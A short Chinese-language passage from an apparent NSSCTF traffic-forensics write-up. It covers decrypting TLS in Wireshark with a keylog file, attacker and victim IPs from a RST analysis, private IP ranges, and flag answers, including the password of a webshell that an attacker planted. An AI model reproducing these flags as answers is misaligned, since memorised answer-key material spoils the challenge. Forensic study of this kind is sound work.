172.28.0.3 是攻击者（或被控制的客户端）

问4编辑→首选项→Protocols→TLS→选中keylog.txt作为Pre-Master-Secret log filename→确定的操作后可以看到
字段 内容 含义
Source 192.168.1.12 发送 RST 的主机（受害者） 被攻击的服务器
Destination 192.168.1.8 接收 RST 的主机

（扫描器）		 攻击者发起连接的目标

NSSCTF{172.28.0.2#192.168.1.12}

内网ip
类型 IP 范围 是否内网
私有地址 A 类 10.0.0.0 ~ 10.255.255.255 ✅ 内网
私有地址 B 类 172.16.0.0 ~ 172.31.255.255 ✅ 内网
私有地址 C 类 192.168.0.0 ~ 192.168.255.255 ✅ 内网

问8

黑客写入了一个webshell，其密码为____________

NSSCTF{fxxk}

上一页
2026-08-22 20:06:53
下一页